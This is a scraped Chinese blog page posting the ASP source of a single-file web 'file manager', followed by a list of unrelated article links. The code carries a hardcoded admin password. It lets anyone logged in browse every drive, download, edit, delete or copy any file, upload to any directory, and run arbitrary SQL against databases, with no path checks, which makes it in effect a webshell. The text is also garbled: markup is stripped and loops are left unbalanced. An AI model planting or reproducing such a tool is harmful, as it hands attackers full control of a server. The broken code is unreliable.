輕舟萬維單文件管理系統

單文件管理系統,絕對好用,超強功能

登陸帳號:admin 密碼:1233211234567

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>

<!--

input {font-size: 12px;color: #206225;background-color: #FFFFFF;border: 1px solid #00CCFF;}

td {font-size: 12px;color: #03762F;}

body {background-color: #D0ECFF;font-size: 12px;margin: 0px;}

a:link { font-size: 9pt; color: #03762F; text-decoration: none}

a:hover { color: red; text-decoration: underline}

a:visited { font-size: 9pt; text-decoration: none; color: #03762F}

.clDescription { BORDER-RIGHT: #999999 1px solid; PADDING-RIGHT: 3px; BORDER-TOP: #999999 1px solid; PADDING-LEFT: 3px; FONT-SIZE: 11px; PADDING-BOTTOM: 3px; BORDER-LEFT: #999999 1px solid; WIDTH: 200px; PADDING-TOP: 3px; BORDER-BOTTOM: #999999 1px solid; FONT-FAMILY: verdana,arial,helvetica; BACKGROUND-COLOR: #FFFFCC}

#divDescription {Z-INDEX: 200; VISIBILITY: hidden; POSITION: absolute; background-color: #FFFFCC;}

#divlinks { Z-INDEX: 1; LEFT: 100px; POSITION: absolute; TOP: 200px}

.thin { border-collapse: collapse; }

-->

</style>

loginname=request.Form("loginname")

password=request.Form("password")

if loginname="admin" and password="1233211234567" then session("login")="fileEx"'admin admin888爲默認密碼

if session("login")<>"fileEx" then login()

loginout=Request("loginout")

if loginout="loginout" then

'退出

Session.Contents.RemoveAll

end if

Server.ScriptTimeOut=200

Dim objFSO,strRootFolder,currentfolder,prefix,DBDriver

DBDriver = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="

Set objFSO = Server.CreateObject("Scripting.FileSystemObject")

strRootFolder = Server.MapPath("/")

if session("currentfolder")="" then

session("currentFolder")=strrootfolder

end if

scriptname = Request.ServerVariables("SCRIPT_NAME")

pathurl=server.urlencode(path)

Down=Request("Down")

if Down="Down" then

call downloadFile(Request("path"))

function downloadFile(strFile)

strFilename = strFile

Response.Buffer = True

Response.Clear

Set s = Server.CreateObject("ADODB.Stream")

s.Open

s.Type = 1

on error resume next

Set fso = Server.CreateObject("Scripting.FileSystemObject")

if not fso.FileExists(strFilename) then

Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")

Response.End

end if

Set f = fso.GetFile(strFilename)

intFilelength = f.size

s.LoadFromFile(strFilename)

if err then

Response.Write("<h1>Error: </h1>" & err.Description & "<p>")

Response.End

end if

Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name

Response.AddHeader "Content-Length", intFilelength

Response.CharSet = "UTF-8"

Response.ContentType = "application/octet-stream"

Response.BinaryWrite s.Read

Response.Flush

s.Close

Set s = Nothing

End Function

end if

<title>輕舟萬維網文件管理系統</title>

function checkBrowser(){

this.ver=navigator.appVersion

this.dom=document.getElementById?1:0

this.ie6=(this.ver.indexOf("MSIE 6")>-1 && this.dom)?1:0;

this.ie5=(this.ver.indexOf("MSIE 5")>-1 && this.dom)?1:0;

this.ie4=(document.all && !this.dom)?1:0;

this.ns5=(this.dom && parseInt(this.ver) >= 5) ?1:0;

this.ns4=(document.layers && !this.dom)?1:0;

this.bw=(this.ie6 || this.ie5 || this.ie4 || this.ns4 || this.ns5)

return this

}

bw=new checkBrowser()

fromX=20 //How much from the actual mouse X should the description box appear?

fromY=10 ///How much from the actual mouse Y should the description box appear?

//To set the font size, font type, border color or remove the border or whatever,

//change the clDescription class in the stylesheet.

//Makes crossbrowser object.

function makeObj(obj){

this.css=bw.dom? document.getElementById(obj).style:bw.ie4?document.all[obj].style:bw.ns4?document.layers[obj]:0;

this.wref=bw.dom? document.getElementById(obj):bw.ie4?document.all[obj]:bw.ns4?document.layers[obj].document:0;

this.writeIt=b_writeIt;

return this

}

function b_writeIt(text){if(bw.ns4){this.wref.write(text);this.wref.close()}

else this.wref.innerHTML=text}

//Capturing mousemove

var descx,descy;

function popmousemove(e){descx=bw.ns4?e.pageX:event.x; descy=bw.ns4?e.pageY:event.y}

//Initiates page

var isLoaded;

function popupInit(){

oDesc=new makeObj('divDescription')

if(bw.ns4)document.captureEvents(Event.MOUSEMOVE)

document.onmousemove=popmousemove;

isLoaded=true;

}

//Shows the messages

function popup(messages){

if(isLoaded){

oDesc.writeIt('<span class="clDescription">'+messages+'</span>')

if(bw.ie5 || bw.ie6) descy=descy+document.body.scrollTop

oDesc.css.left=descx+fromX; oDesc.css.top=descy+fromY

oDesc.css.visibility='visible'

}

//Hides it

function popout(num){

if(isLoaded) oDesc.css.visibility='hidden'

}

//initiates page on pageload.

onload=popupInit;

</script>

</head>

</DIV>

<td align="left" bgcolor="#9DD8FF"><strong> 輕舟萬維網文件管理系統 <a href="<%=scriptname%>?loginout=loginout">退出</a></strong></td>

</tr>

</table>

'----------------------------拷貝文件---------------------------------------------

if request("op")="copy" then%>

dim src,dst,fcopy

if Request("src")<>"" and Request("dst")<>"" then

src=Trim(Request("src"))

dst=Trim(Request("dst"))

set fcopy = objFSO.GetFile(src)

fcopy.Copy(dst)

Response.Write("Copy "&src&"<BR> to "&dst&" <BR>done!")

end if

<tr>

源文件：

</tr>

<tr>

</tr>

<tr>

</tr>

</table>

</form>

Response.End

end if

'----------------------------修改文件---------------------------------------------

if request("op")="edit" then%>

<%dim filename,TextStream

filename=request("filename")

set TextStream=objFSO.OpenTextFile(filename)

call header

文件名：<%=objFSO.GetFileName(request("filename"))%>

</p>

</td>

</tr>

<td height="344"> 文件內容（文件大小不能超過<font color="#FF0000">2M</font>）<br>

<tr>

</td>

</td>

</tr>

<tr>

</td>

</tr>

</table>

</td>

</tr>

</table>

</form>

<%call copyright

Response.End

end if

'----------------------------保存文件---------------------------------------------

if request("op")="save" then%>

<%dim objtext,fullname

on error resume next

fullname=session("currentfolder") & ""& request("newfilename")

'response.write fullname

set objtext=objFSO.CreateTextFile(fullname,True)

objtext.WriteLine (request("content"))

objtext.close

if err<>0 then

response.write "保存文件時發生錯誤,可能是您沒有寫入權限"

response.end

else

response.redirect scriptname

end if

Response.End

end if

'----------------------------新建文件---------------------------------------------

if request("op")="new" then%>

<%dim folder

folder=request("folder")

call header

<td>

文件名（包括擴展名）：

</td>

</tr>

<td height="344"> 文件內容（文件大小不能超過<font color="#FF0000">2M</font>）<br>

<tr>

</td>

</td>

</tr>

<tr>

</td>

</tr>

</table>

</td>

</tr>

</table>

</form>

<%call copyright

Response.End

end if

'----------------------------刪除文件---------------------------------------------

if request("op")="del" then%>

filename=request("filename")

objFSO.Deletefile filename

response.redirect scriptname

Response.End

end if

'----------------------------刪除文件夾---------------------------------------------

if request("op")="delfolder" then%>

foldername=request("folder")

objFSO.DeleteFolder foldername

response.redirect scriptname&"?folder="&objFSO.GetParentFolderName(foldername)

Response.End

end if

'----------------------------上傳文件---------------------------------------------

if request("op")="upload" then

call header

if request("op2")="" then%>

<form name="upload" method="post" action="<%=scriptname%>?op=upload&op2=save" enctype="multipart/form-data" >

<br>

<br>

<tr>

</tr>

<tr>

function setid()

{

str='<br>';

if(!window.upload.upcount.value)

window.upload.upcount.value=1;

for(i=1;i<=window.upload.upcount.value;i++)

str+='文件'+i+':<input type="file" name="file'+i+'" style="width:400" class="tx1"><br><br>';

window.upid.innerHTML=str+'<br>';

}

</script>

<ul>

<li> 需要上傳的個數

</li>

<br>

<li>上傳到:

</li>

</ul>

</td>

</tr>

<td align="left" id="upid" height="122"> 文件1:

</td>

</tr>

</td>

</tr>

</table>

</form>

setid();

</script>

<%else%>

'----------------------------------------上傳類定義------------------------------

Dim oUpFileStream

Class UpFile_Class

Dim Form,File,Version,Err

Private Sub Class_Initialize

Version = "無懼上傳類 Version V1.0"

Err = -1

End Sub

Private Sub Class_Terminate

'清除變量及對像

If Err < 0 Then

Form.RemoveAll

Set Form = Nothing

File.RemoveAll

Set File = Nothing

oUpFileStream.Close

Set oUpFileStream = Nothing

End If

End Sub

Public Sub GetData (RetSize)

'定義變量

Dim RequestBinDate,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo

Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName

Dim iFindStart,iFindEnd

Dim iFormStart,iFormEnd,sFormName

'代碼開始

If Request.TotalBytes < 1 Then

Err = 1

Exit Sub

End If

If RetSize > 0 Then

If Request.TotalBytes > RetSize Then

Err = 2

Exit Sub

End If

Set Form = Server.CreateObject ("Scripting.Dictionary")

Form.CompareMode = 1

Set File = Server.CreateObject ("Scripting.Dictionary")

File.CompareMode = 1

Set tStream = Server.CreateObject ("ADODB.Stream")

Set oUpFileStream = Server.CreateObject ("ADODB.Stream")

oUpFileStream.Type = 1

oUpFileStream.Mode = 3

oUpFileStream.Open

oUpFileStream.Write Request.BinaryRead (Request.TotalBytes)

oUpFileStream.Position = 0

RequestBinDate = oUpFileStream.Read

iFormEnd = oUpFileStream.Size

bCrLf = ChrB (13) & ChrB (10)

'取得每個項目之間的分隔符

sSpace = MidB (RequestBinDate,1, InStrB (1,RequestBinDate,bCrLf)-1)

iStart = LenB (sSpace)

iFormStart = iStart+2

'分解項目

iInfoEnd = InStrB (iFormStart,RequestBinDate,bCrLf & bCrLf)+3

tStream.Type = 1

tStream.Mode = 3

tStream.Open

oUpFileStream.Position = iFormStart

oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart

tStream.Position = 0

tStream.Type = 2

tStream.CharSet = "gb2312"

sInfo = tStream.ReadText

'取得表單項目名稱

iFormStart = InStrB (iInfoEnd,RequestBinDate,sSpace)-1

iFindStart = InStr (22,sInfo,"name=""",1)+6

iFindEnd = InStr (iFindStart,sInfo,"""",1)

sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)

'如果是文件

If InStr (45,sInfo,"filename=""",1) > 0 Then

Set oFileInfo = new FileInfo_Class

'取得文件屬性

iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10

iFindEnd = InStr (iFindStart,sInfo,"""",1)

sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)

oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "")+1)

oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "")+1)

oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1)

iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14

iFindEnd = InStr (iFindStart,sInfo,vbCr)

oFileInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart)

oFileInfo.FileStart = iInfoEnd

oFileInfo.FileSize = iFormStart -iInfoEnd -2

oFileInfo.FormName = sFormName

file.add sFormName,oFileInfo

else

'如果是表單項目

tStream.Close

tStream.Type = 1

tStream.Mode = 3

tStream.Open

oUpFileStream.Position = iInfoEnd

oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2

tStream.Position = 0

tStream.Type = 2

tStream.CharSet = "gb2312"

sFormValue = tStream.ReadText

If Form.Exists (sFormName) Then

Form (sFormName) = Form (sFormName) & ", " & sFormValue

else

form.Add sFormName,sFormValue

End If

tStream.Close

iFormStart = iFormStart+iStart+2

'如果到文件尾了就退出

Loop Until (iFormStart+2) = iFormEnd

RequestBinDate = ""

Set tStream = Nothing

End Sub

End Class

'文件屬性類

Class FileInfo_Class

Dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt

'保存文件方法

Public Function SaveToFile (Path)

On Error Resume Next

Dim oFileStream

Set oFileStream = CreateObject ("ADODB.Stream")

oFileStream.Type = 1

oFileStream.Mode = 3

oFileStream.Open

oUpFileStream.Position = FileStart

oUpFileStream.CopyTo oFileStream,FileSize

oFileStream.SaveToFile Path,2

oFileStream.Close

Set oFileStream = Nothing

End Function

'取得文件數據

Public Function FileDate

oUpFileStream.Position = FileStart

FileDate = oUpFileStream.Read (FileSize)

End Function

End Class

</script>

'-------------------------------------------開始上傳-----------------------------------

dim upload,file,formName,formPath,iCount

set upload=new UpFile_Class ''建立上傳對象

MaxSize = 1024*1024

upload.GetData(Int(MaxSize*1024))

if upload.err > 0 then

select case upload.err

case 1

Response.Write "請先選擇你要上傳的文件　[ <a href=# onclick=history.go(-1)>重新上傳</a> ]"

case 2

Response.Write "文件大小超過了限制 "&MaxSize&"K　[ <a href=# onclick=history.go(-1)>重新上傳</a> ]"

end select

Response.End

end if

'response.write upload.Version&"<br><br>" ''顯示上傳類的版本

formPath=upload.form("filepath")

formPath2=formPath

if formPath="" then ''得到上傳目錄

Response.Write("請輸入要上傳至的目錄!")

set upload=nothing

response.end

else

''在目錄後加(/)

if right(formPath,1)<>"" then formPath=formPath&""

end if

iCount=0

for each formName in upload.file ''列出所有上傳了的文件

set file=upload.file(formName) ''生成一個文件對象

if file.FileSize>0 then ''如果 FileSize > 0 說明有文件數據

'file.SaveAs Server.mappath(formPath&file.FileName) ''保存文件

file.SaveToFile formPath&file.FileName

response.write "<p><center>"&file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!</center></p>"

Response.Flush()

iCount=iCount+1

end if

set file=nothing

set upload=nothing ''刪除此對象

<tr>

<td align="center"><a href="<%=scriptname%>?folder=<%=Server.URLEncode(formPath2)%>">返回:

<%=formPath2%></a> </td>

</tr>

<tr>

</tr>

</table>

<%end if%>

<%call copyright

Response.End

end if

'----------------------------新建文件夾---------------------------------------------

if request("op")="newfolder" then

call header%>

<%if request("newfolder1")<>"" or request("newfolder2")<>"" or request("newfolder3")<>"" then

folder=trim(request("folder"))

dim newfolder(3)

if trim(request("newfolder1")) <>"" then newfolder(0) = folder & "" & trim(request("newfolder1"))

if trim(request("newfolder2")) <>"" then newfolder(1) = folder & "" & trim(request("newfolder2"))

if trim(request("newfolder3")) <>"" then newfolder(2) = folder & "" & trim(request("newfolder3"))

for i=0 to Ubound(newfolder)

if newfolder(i)<>"" and not isempty(newfolder(i)) then

objFSO.CreateFolder(newfolder(i))

Response.Write("<p align=""center"">" & newfolder(i) & " 創建成功</p>")

end if

if session("currentfolder")=folder then

response.Write("<p align=""center"">返回：<a href="""&scriptname&"?folder="&Server.URLEncode(folder)&""">"&folder&"</a>")

else

response.Write("<p align=""center"">返回：<a href="""&scriptname&"?folder="&folder&""">"&folder&"</a>")

response.Write("<p align=""center"">返回：<a href="""&scriptname&"?folder="&Server.URLEncode(session("currentfolder"))&""">"&session("currentfolder")&"</a>")

end if

%><p></p>

<%else%>

<form action="<%=scriptname%>" method="post" name="newfolder" id="newfolder">

<tr>

</td>

</tr>

<tr>

<td align="center">文件夾1

</tr>

<tr>

<td align="center">文件夾2

</tr>

<tr>

<td align="center">文件夾3

</tr>

<tr>

</tr>

</table>

</form>

<%end if%>

<%call copyright

Response.End

end if

'-----------------------------------數據庫記錄列表----------------------------------------

if request("op")="db" and request("dbname")<>"" and request("tablename")<>"" then

call header

dbname=request("dbname")

tablename=request("tablename")

Set objConn = Server.CreateObject("ADODB.Connection")

objConn.ConnectionString = DBDriver & dbname

objConn.Open

Set objTableRS = objConn.OpenSchema(20,Array(Empty, Empty, Empty, "TABLE"))

if tablename="" then tablename=objTableRS("Table_Name").Value

<tr>

<td width="19%" align="center" valign="top"><a href="<%=scriptname%>?op=db&dbname=<%=Server.URLEncode(dbname)%>"><%=objFSO.GetFilename(dbname)%></a><br>

<br>

<%Do While Not objTableRS.EOF%>

<tr>

<td><font size="4" face="Wingdings">3</font> <a href="<%=scriptname%>?op=db&dbname=<%=Server.URLEncode(dbname)%>&tablename=<%=Server.URLEncode(objTableRS("Table_Name").Value)%>"><%=objTableRS("Table_Name").Value%></a></td>

</tr>

<%objTableRS.MoveNext

Loop%>

</table>

</td>

<form action="<%=scriptname%>" method="post" name="sqlcmd" id="sqlcmd">

</tr>

</table>

</form>

</td>

</tr>

</table>

<%dim mysql,objRS,i,j

j=1

mysql="Select Top 10 * From ["&tablename&"]"

Set objRS=objConn.Execute(mysql)

'response.write "<td>操作</td>"

For i=0 to objRs.Fields.Count-1

Response.write"<td><b>"&objRS.Fields(i).name&"</b></td>"

Response.write "</tr>"

if objrs.eof then

else

DO While NOT objRS.Eof

Response.write "<tr>"

For i=0 to objRs.Fields.Count-1

Response.write"<td>"

If IsNull(objRs.Fields(i).value) or objRs.Fields(i).value="" or objRs.Fields(i).value=" " then

response.write " "

else

Response.write Server.HTMLEncode(objRs.Fields(i).value)

end if

Response.write"</td>"

Response.write"</tr>"

objRS.MoveNext

j=j+1

Loop

end if

set objRs = nothing

set objTableRS = nothing

objConn.Close

set objConn = nothing

</table>

<p>最多顯示10條記錄，要察看更多記錄請使用SQL命令</p><br>

</table>

<%call copyright

Response.End

end if

'----------------------------數據庫對象列表---------------------------------------------

if request("op")="db" and request("dbname")<>"" then

call header

dbname=request("dbname")

Set objConn = Server.CreateObject("ADODB.Connection")

objConn.ConnectionString = DBDriver & dbname

objConn.Open

Set objTableRS = objConn.OpenSchema(20,Array(Empty, Empty, Empty, "TABLE"))

<tr>

<td width="19%" align="center" valign="top"><a href="<%=scriptname%>?op=db&dbname=<%=dbname%>"><%=objFSO.GetFilename(dbname)%></a><br>

<br>

<%Do While Not objTableRS.EOF%>

<tr>

</tr>

<%objTableRS.MoveNext

Loop

objTableRS.MoveFirst%>

</table>

</td>

<td width="81%" align="center" valign="top"><a href="<%=scriptname%>?op=sql&dbname=<%=dbname%>">執行SQL命令<br>

</a>

<%While Not objTableRS.EOF%>

</tr>

<td>是否允許爲空</td>

</tr>

<tr>

Set objColumnRS = objConn.OpenSchema(4,Array(Empty, Empty, objTableRS("Table_Name").Value))

' for i=0 to objColumnRS.fields.count - 1

' response.Write(objColumnRS.fields(i).Name&"<BR>")

' next

While Not objColumnRS.EOF

iLength = objColumnRS("Character_Maximum_Length")

iPrecision = objColumnRS("Numeric_Precision")

iScale = objColumnRS("Numeric_Scale")

iDefaultValue = objColumnRS("Column_Default")

If IsNull(iLength) then iLength = " "

If IsNull(iPrecision) then iPrecision = " "

If IsNull(iScale) then iScale = " "

If IsNull(iDefaultValue) then iDefaultValue = " "%>

<%If objColumnRS("Is_Nullable") then

Response.Write "是"

else

Response.write "否"

End If%>

</td>

</tr>

<% objColumnRS.MoveNext

Wend

objTableRS.MoveNext

Set objColumnRS = Nothing

Response.write "<br>"

Wend

objTableRS.Close

Set objTableRS = Nothing

objConn.Close

Set objConn = Nothing

</table> </td>

</table>

<%call copyright

Response.End

end if

'----------------------------執行SQL命令---------------------------------------------

if request("op")="sql" then

call header

dbname=request("dbname")

Set objConn = Server.CreateObject("ADODB.Connection")

objConn.ConnectionString = DBDriver & dbname

objConn.Open

Set objTableRS = objConn.OpenSchema(20,Array(Empty, Empty, Empty, "TABLE"))

j=0

<tr>

<td width="13%" align="center" valign="top"><a href="<%=scriptname%>?op=db&dbname=<%=Server.URLEncode(dbname)%>"><%=objFSO.GetFilename(dbname)%></a><br>

<br>

<%Do While Not objTableRS.EOF%>

<tr>

<td><font size="4" face="Wingdings" color=#000000>3</font> <a href="<%=scriptname%>?op=db&dbname=<%=Server.URLEncode(dbname)%>&tablename=<%=Server.URLEncode(objTableRS("Table_Name").Value)%>"><%=objTableRS("Table_Name").Value%></a></td>

</tr>

<%objTableRS.MoveNext

Loop%>

</table>

</td>

<form action="<%=scriptname%>" method="post" name="sqlcmd" id="sqlcmd">

</tr>

</table>

</form>

<%if request("cmd")<>"" then

mysql=request("cmd")

Set objRS=objConn.Execute(mysql)

'response.write "<td>操作</td>"

if objrs.state = 1 then

For i=0 to objRs.Fields.Count-1

Response.write"<td><b>"&objRS.Fields(i).name&"</b></td>"

Response.write "</tr>"

if objrs.eof then

<%else

DO While NOT objRS.Eof

Response.write "<tr>"

For i=0 to objRs.Fields.Count-1

Response.write"<td>"

If IsNull(objRs.Fields(i).value) or objRs.Fields(i).value="" or objRs.Fields(i).value=" " then

response.write " "

else

Response.write Server.HTMLEncode(objRs.Fields(i).value)

end if

Response.write"</td>"

Response.write"</tr>"

objRS.MoveNext

j=j+1

Loop

end if

set objRs = nothing

end if

set objTableRS = nothing

objConn.Close

set objConn = nothing

</table>

<br>

<%if request("cmd")<>"" then response.Write("命令執行成功，返回 <font color=""#FF0000"">"&j&"</font> 條記錄")%>

</table>

<%call copyright

Response.End

end if

'----------------------------文件列表---------------------------------------------

<%call header%>

<tr>

<td width="19%" align="center" bgcolor="#BFE6FF">文件夾列表</td>

<td width="81%" align="center" bgcolor="#BFE6FF"><a href="<%=scriptname%>?op=upload&folder=<%=Server.urlencode(session("currentfolder"))%>">上傳文件</a> 

<a href="<%=scriptname%>?op=new&folder=<%=Server.urlencode(session("currentfolder"))%>">新建文件</a> 

<a href="<%=scriptname%>?op=newfolder&folder=<%=Server.urlencode(session("currentfolder"))%>">新建文件夾</a> 

<a href="<%=scriptname%>?op=delfolder&folder=<%=Server.urlencode(session("currentfolder"))%>" onClick="return confirm('真的要刪除 <%=Replace(session("currentfolder"),"","/")%> 嗎？該文件夾的所有文件也將被刪除')">刪除當前文件夾</a></td>

</tr>

<tr>

<tr>

<td height="13" align="center" bgcolor="#5BBDFF"><%if session("currentfolder")<>strrootFolder then

response.write "<a href='"&scriptname&"?folder="&objFSO.GetParentFolderName(session("currentfolder"))&"'><font color=#0000FFF>↑上級目錄↑</font></a>  "

else

response.write "<font color=#0000FFF>當前爲根目錄</font>"

End if

dim objfolder,objSubFolder,filebgcolo

filebgcolo=1

Set objFolder = objFSO.GetFolder(session("currentfolder"))

%></td>

<%For Each objSubFolder in objFolder.SubFolders%>

</tr>

<tr>

<%filebgcolo=filebgcolo+1%>

<td<%if filebgcolo mod 2 =0 then %>

bgcolor="#E1F3FF"

<%end if%>>   <font face="Wingdings" color=#000000>1</font> <a href="<%=scriptname%>?folder=<%=Server.urlencode(prefix&""&objSubFolder.Name)%>"> _fcksavedurl=""<%=scriptname%>?folder=<%=Server.urlencode(prefix&""&objSubFolder.Name)%>">" <%=objSubFolder.Name%></a></td>

</tr>

<%Next%>

</table></td>

</tr>

<%Dim objFile,extname,FileCount,filebgcolor

FileCount = 0

FileSize = 0

filebgcolor=0

For Each objFile in objFolder.Files

FileCount=FileCount + 1

filebgcolor=filebgcolor+1

<tr>

bgcolor="#E1F3FF"

<%end if%>>

<%extname=objFSO.GetExtensionName(objfile.name)%>

<%if extname<>"mdb" then%>

<a href="<%=scriptname%>?op=edit&filename=<%=Server.urlencode(prefix&""&objfile.name)%>"><%=objfile.name%></a>

<%else%>

<a href="<%=scriptname%>?op=db&dbname=<%=Server.urlencode(prefix&""&objfile.name)%>"><%=objfile.name%></a>

<%end if%> </td>

<%FileSize = FileSize + objfile.size%>

bgcolor="#E1F3FF"

<%end if%>><%=FormatNumber(Round(objfile.size/1024,1),1,-1)%>

KB</td>

bgcolor="#E1F3FF"

<%end if%>><%=objfile.type%></td>

bgcolor="#E1F3FF"

<%end if%>>

<%if extname<>"mdb" then%>

<a href="<%=scriptname%>?op=edit&filename=<%=Server.urlencode(prefix&""&objfile.name)%>">修改</a>

<%else%>

<a href="<%=scriptname%>?op=db&dbname=<%=Server.urlencode(prefix&""&objfile.name)%>">修改</a>

<%end if%>

<a href="<%=scriptname%>?op=del&filename=<%=Server.urlencode(prefix&""&objfile.name)%>" onClick="return confirm('真的要刪除<%=" "&objfile.name&" "%>嗎？')">刪除</a>

<a href="<%=scriptname%>?op=copy&src=<%=Server.urlencode(prefix&""&objfile.name)%>" target="_blank">複製</a>

<a href="<%=scriptname%>?op=db&dbname=<%=Server.urlencode(prefix&""&objfile.name)%>">數據庫</a>

</tr>

<%Next%>

總計文件個數：<font color="#FF0000"><%=FileCount%></font> ，大小：<font color="#FF0000"><%=FormatNumber(Round(FileSize/1024,1),1,-1)%></font>

KB </td>

</tr>

</table> </td>

</tr>

</table>

</td>

</tr>

</table>

<%call copyright

set objFSO=Nothing%>

<%sub header%>

currentfolder=request("folder")

if currentfolder<>"" then

session("currentfolder")=currentfolder

end if

if right(session("currentfolder"),1)="" then prefix=left(session("currentfolder"),len(session("currentfolder"))-1) else prefix=session("currentfolder")

<td>

<td bgcolor="#BFE6FF">您的主目錄：<font color=#0000FF><a href="<%=scriptname%>?folder=<%=Server.urlencode(strrootfolder)%>"><font color=#0000FF><%=strrootfolder%></font></a></font>          

當前位置：<a href="<%=scriptname%>?folder=<%=Server.URLEncode(session("currentfolder"))%>"><font color=#0000FF><%=session("currentfolder")%></font></a>

   磁盤：

For Each thing in objFSO.Drives

if thing.DriveLetter<>"A" and thing.DriveLetter<>"B" then

if thing.isready then

Response.write "<a href="""&scriptname&"?folder="&thing.DriveLetter&":"" onmouseout=popout(0) onmouseover=""popup('<table width=160><tr><td width=50>盤符：</td><td align=center>"&thing.DriveLetter&"</td></tr><tr><td>卷標：</td><td align=center>"&thing.VolumeName&"</td></tr><tr><td>可用空間：</td><td align=right>"&FormatNumber(thing.FreeSpace/1024,0,-1)&"KB</td></tr><tr><td>磁盤容量：</td><td align=right>"&FormatNumber(thing.TotalSize/1024,0,-1)&"KB</td></tr><tr><td>文件系統：</td><td align=center>"&thing.FileSystem&"</td></tr></table>')"">"&thing.DriveLetter&":</a>  "

else

Response.Write "<a href="""&scriptname&"?folder="&thing.DriveLetter&":"" onmouseout=popout(0) onmouseover=""popup('磁盤沒有準備好')"">"&thing.DriveLetter&":</a>  "

end if

%></td>

</tr>

</table>

</td>

</tr>

</table>

<%end sub%>

<%sub copyright%>

<tr>

<td height="50" align="center">輕舟萬維網文件管理系統</td>

</tr>

</table>

<%end sub%>

<%function fieldtype(typeid)

select case typeid

case 130 fieldtype = "文本"

case 2 fieldtype = "整型"

case 3 fieldtype = "長整型"

case 7 fieldtype = "日期/時間"

case 5 fieldtype = "雙精度型"

case 11 fieldtype = "是/否"

case 128 fieldtype = "OLE 對象"

case else fieldtype = typeid

end select

end function

function fillbefore(str,prefix,totallen)

str=CStr(str)

if len(str)<totallen then

for i=1 to totallen-len(str)

str = prefix & str

end if

fillbefore = str

end function

</html>

<%function login()%>

<title>輕舟萬維網文件管理系統登陸</title>

<br>

<tr>

</tr>

<tr>

<tr>

</tr>

<tr>

---<a href="javascript:window.close()">++關閉++</a>---

</td>

</tr>

</form>

</table>

response.End()

end function

輕舟萬維單文件管理系統

vue項目獲取富文本編輯器wangEditor內容導出爲word（html轉word格式並下載）

dotnet C# 創建 X11 應用時設置窗口背景顏色

Navicat安裝與激活教程

TDengine docker安裝方法

vue3組件通信與props

sapui5

Alpine Linux apk add DNS lookup error

部分JDK版本的發佈時間

工作中用到的腳本合集

合併代碼時Beyond Compare設置

輕舟萬維單文件管理系統

改裝Juploader上傳組件，使其可以控制自由上傳

https://yachay.unat.edu.pe/blog/index.php?comment_area=format_blog&comment_component=blog&comment_co

linux以太網驅動總結